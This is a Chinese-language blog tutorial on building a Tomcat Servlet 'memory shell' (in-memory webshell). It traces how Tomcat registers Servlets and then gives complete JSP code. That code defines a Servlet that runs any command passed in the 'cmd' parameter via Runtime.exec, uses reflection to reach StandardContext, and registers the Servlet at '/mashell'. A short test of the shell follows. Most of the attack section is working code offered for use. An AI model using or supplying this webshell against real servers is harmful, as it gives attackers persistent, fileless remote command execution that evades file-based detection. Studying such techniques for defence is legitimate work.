Java内存马之Servlet马
redpomelo Lv2

前言

今天,学习一下Tomcat Servlet内存马,要完成Servlet内存马,就如同把大象装进冰箱一样,分为三步:1、打开冰箱门 2、把大象装进去 3、关闭冰箱门

所以我们就思考要完成如下操作:

1、 写一个马

2、注册进Servlet

Tomcat Servlet机制

如何注册Servlet

在平时,我们通常使用注解**@WebServlet**来进行注册,如IDEA默认生成的的Servlet

image-20250103232406511

如果删掉注解,通过web.xml进行注册的

image-20250103232636563

通过这样的方式,也是能解析的

image-20250103235122472

那么我们就思考,这个Servlet是如何被解析到Tomcat里的

流程图

img

在这里插入图片描述

图片来源:https://blog.csdn.net/u010883443/article/details/107463782

通过上图,我们可以知道

image-20250103235615909

大概是在这个地方解析的

分析

上图是先到Context的,这里Maven导入一下Tomcat,下载一下源码

image-20250104000249337

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.81</version>
</dependency>

全局搜索configureContext,来到这里,这里就是解析完XMl之后的操作

image-20250104001426553

断点下在这里,看看初始化时候都干了些什么

image-20250104002505046

首先调用创建了wrapper,然后调用set方法配置wrapper相关的属性,我们可以参考web.xml中需要配置的属性来推测wrapper的关键属性

image-20250104003326275

接着继续配置wrapper的servletClass,配置完成之后会将wrapper放入StandardContext的child里:

image-20250104003448507

然后遍历web.xml中servlet-mapping的servlet-name和对应的url-pattern,调用StandardContext.addServletMappingDecoded()添加servlet对应的映射。

总结

总结一下,Servlet的初始化一共有几个步骤:

  1. 通过 context.createWapper() 创建 Wapper 对象
  2. 设置 Servlet 的 LoadOnStartUp 的值(后续分析为什么动态注册Servlet需要设置该属性)
  3. 设置 Servlet 的 Name
  4. 设置 Servlet 对应的 Class
  5. 将 Servlet 添加到 context 的 children 中
  6. 将 url 路径和 servlet 类做映射

自写马

第一步:写个马

image-20250104004454359

第一部很简单,就写个马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<%!
// 写个马
public class Ma extends HttpServlet {
private String message;

public void init() {
message = "Hello World!";
}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
public void destroy() {
}
}
%>

第二步:动态注册进Tomcat

首先获取到StadndrdContext

image-20250104010153932

获取到后就照着之前分析的Servlet创建流程写就可以了,

image-20250104011455259

最终代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %><%--
Created by IntelliJ IDEA.
User: georg
Date: 2025/1/4
Time: 00:42
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Test</title>
</head>
<body>
<%!
// 写个马
public class Ma extends HttpServlet {
private String message;

public void init() {
message = "Hello World!";
}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}

}
public void destroy() {
}
}
%>


<% //动态注册Servlet
// 获取StadnrdContext对象
ServletContext servletContext = request.getServletContext(); //获取ServletContext对象
// 反射获取StandardContext对象
Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext context = (ApplicationContext) contextField.get(servletContext);

Field standardContextField = context.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(context);

// 注册进去
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("Ma");
wrapper.setServletClass("Ma.Class.getName()");
wrapper.setServlet(new Ma()); //这里是关键,这里是将Servlet对象传递给了Wrapper对象,实例化了一个Ma对象

standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/mashell", "Ma");


%>
</body>
</html>

测试

image-20250104011608556

先访问ma.jsp,而后访问注入的路径。

image-20250104011949695

执行代码~

参考资料

白日梦组长

Longlone’s Blog

Tomcat流程分析

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 15.4k 访客数 访问量